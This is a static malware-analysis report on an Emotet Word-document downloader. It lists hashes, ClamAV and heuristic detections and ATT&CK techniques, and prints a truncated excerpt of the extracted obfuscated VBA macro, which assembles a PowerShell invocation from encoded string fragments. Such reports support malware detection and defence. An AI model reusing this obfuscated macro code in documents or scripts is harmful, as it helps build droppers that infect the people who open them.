Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7dba73d83a6a9071…

MALICIOUS

Office (OLE)

234.2 KB Created: 2018-06-27 21:36:00 Authoring application: Microsoft Office Word First seen: 2018-07-14
MD5: ef07ca9c7f152e71897a65b65431e586 SHA-1: b16494465fa6269cd1030ffde09b2411c4d21639 SHA-256: 7dba73d83a6a9071726ff7b06173c8e276bd0b9be0059136536570e608dd02a5
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro triggers a Shell() call, indicating an attempt to execute arbitrary code. ClamAV detection explicitly names this as an Emotet downloader. The VBA script, though obfuscated, contains string concatenations that likely form a URL for downloading a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7169110-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7169110-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8776 bytes
SHA-256: 6b70da187be171282442f55d7205fa515a4ddf5bff9e9b86d309b1ba688d371e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jtBaCuzDLvz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "KJmTJpIWi"
Function zYOFA()
On Error Resume Next
ijPbOw = XVbYu
CPJoui = Sin(4669)
DoIir = 72677
ESvimu = 37093
BvLOV = CDate(56706)
VFwQX = 32057
ZClmpu = "Hel" + "l . " + Chr(40) + " $ENV:" + "COm" + "spec" + "[4,24" + ",25]-Jo" + "in''" + Chr(41) + Chr(40) + "[" + "St" + "rIng]::" + "JOIN" + Chr(40) + " ''," + Chr(40)
KbIcQo = oUimVG
jHRfMW = Sin(97701)
prGmCz = 79939
MBHbj = 10560
lCmQV = CDate(12995)
kAZTA = 95271
CEIjLKzM = "'116x" + "39" + "Z49I25<" + "109H6" + "2x53W" + "39x" + "125u6" + "3<50I" + "58" + "H5"
jiHfXH = 11057
NNHIj = 38045
izsWz = BAjip
uihUAA = CDate(76444)
PXhjc = 27640
RYTAi = Sin(69232)
aztjYWQq = "3u51u3" + "6Z" + "11" + "2W30V53H" + "36I126<" + "7Z53Z5" + "0<" + "19!60V57"
BChfwd = 42321
hiAFhS = 60804
zvDjqq = NPIcH
fAkDj = CDate(39707)
njSji = 41652
BwPrvz = Sin(38642)
iizboRk = "H5" + "3I62W3" + "6Z107I1" + "16!3" + "!57u38@1" + "09I" + "119@56<3" + "6W36@32@"
rYjHU = 37813
TtkLf = 25607
aRKqBL = kzLUW
hFvIsu = CDate(839)
VEzOwE = 66364
tDXBLU = Sin(41604)
qbufuP = "106u1" + "27H12" + "7!55" + "u57V54" + "!3" + "6H61H49W" + "35u36" + "Z53@34!" + "12" + "6V" + "61V60"
jKJmw = 78226
woSLrz = 90725
bGpMW = vrwdT
vuVIzd = CDate(71247)
GkEka = 8427
fovwt = Sin(10064)
oHFwm = "u127" + "I0I3x54x" + "100W5" + "6I59I1" + "05" + "@102u27Z" + "127"
wfYEE = 69773
QCBjal = 26311
wRoDl = rCFlR
HqTUEs = CDate(30838)
YqjzSS = 85064
ZLWAoO = Sin(81763)
NSdsz = "I16W56W3" + "6<36Z" + "32" + "!106" + "V127W1" + "27" + "H61!49" + "!3" + "2V37<3"
hhULz = 97663
RHBMW = 48017
SqssHi = lTWGct
WivQFA = CDate(95732)
RtofaN = 30614
zhnaND = Sin(19304)
ZljWjbin = "2W126@6" + "2W53u36" + "I12" + "7!" + "39@98" + "<37I10" + "0u59!" + "39<4@12" + "7W16Z56!" + "36"
zLiiN = Sin(1370)
QWGQZS = 97926
ZOBwDM = VaAVpS
CNsJBa = CDate(80984)
IiRvqP = 7329
jLHLi = 56652
wAdHDmNB = "<36Z" + "32H106W1" + "27u127" + "V39<39" + "I39" + "Z126x35W" + "37I34H3" + "8Z5"
zYOFA = ZClmpu + CEIjLKzM + aztjYWQq + iizboRk + qbufuP + oHFwm + NSdsz + ZljWjbin + wAdHDmNB
LBNKpz = Sin(81887)
iIfNq = 90741
NoVzR = kBNzdP
NiOSM = CDate(58919)
TVbARZ = 74118
orHFBh = 18350
End Function
Function ZjLBiM()
On Error Resume Next
JDoDJz = Sin(72848)
YLOQn = 2652
MIlPu = tzzKz
pEZaDX = CDate(36816)
usSTr = 65020
CwQEl = 82281
ruHFUdd = "7<38H49" + "I6" + "0@60W" + "57V38x53" + "@35I12" + "6I51" + "Z63<61Z" + "127W"
PWjMsv = Sin(63547)
iEUwc = 30991
HcZmG = touhGJ
jMiEvP = CDate(59503)
iLncb = 60192
LwAwbQ = 13496
dRjCBL = "7!52I" + "62<8x98<" + "57@" + "6x55@12" + "7<1" + "6Z56@36@" + "36" + "H32" + "H106V1" + "27"
dzMAMB = Sin(68968)
wOdBmD = 42631
LJwcR = KfBKZX
EJwBzC = CDate(70886)
MLvASq = 28237
tQuiVQ = 73926
aGlffA = "I127Z61" + "x63V52x5" + "7x38Z57@" + "126@56" + "@37V" + "127!62!"
oROGj = Sin(48572)
HuCzjX = 32213
jZwzBc = uvhYNN
nCmzc = CDate(21797)
kzKaE = 86044
lsjvZ = 23285
rUELOvsdq = "40Z61x6" + "3Z1!105!" + "32@20V" + "1I6" + "1!1" + "27x16I5" + "6H36I36I" + "32!10" + "6!127x12" + "7H53x34H" + "63<35I51"
ijfDb = Sin(16454)
GRiXd = 69597
KQozE = zboWw
dAaIb = CDate(9295)
zquzz = 1494
ZGiTSj = 76747
aFnpiHzIA = "@53Z62W3" + "6I5" + "3W34@12" + "6u" + "51I63@12" + "6!5" + "7@6" + "0H1" + "27Z38H" + "101!62" + "u22" + "!18V32x"
mcdwEP = Sin(35496)
LNQBs = 71925
cwMqpd = TWrAD
hTMli = CDate(7789)
cdsJF = 67459
UvISV = 52025
HwNFOcFiCv = "127Z1" + "19H126@" + "3V32@" + "60!57W36" + "H12" + "0u" + "119Z16V" + "119"
wJAhj = Sin(84539)
ijIXz = 93733
FzfRa = wFClG
XjQno = CDate(97507)
NoGjw = 12784
Yrsuvo = 74838
RDoKYU = "W12" + "1u107W1" + "16x42x6" + "2u2" + "9H112!1" + "09!112<" + "119W1" + "01" + "u103@9" + "7W" + "119I107"
lXfEG = Sin(52760)
cQbfp = 60023
moNjM = CQrwVU
LVnwXO = CDate(38820)
TLiIz = 77330
AvCEW = 94
... (truncated)

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